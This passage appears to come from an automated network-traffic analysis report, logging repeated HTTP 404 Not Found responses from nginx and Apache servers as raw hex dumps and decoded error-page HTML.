b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 13 Dec 2024 12:07:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 13 Dec 2024 12:07:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 13 Dec 2024 12:07:28 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cce1df-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 12:07:35 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 12:07:37 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 12:07:40 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 13 Dec 2024 12:10:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
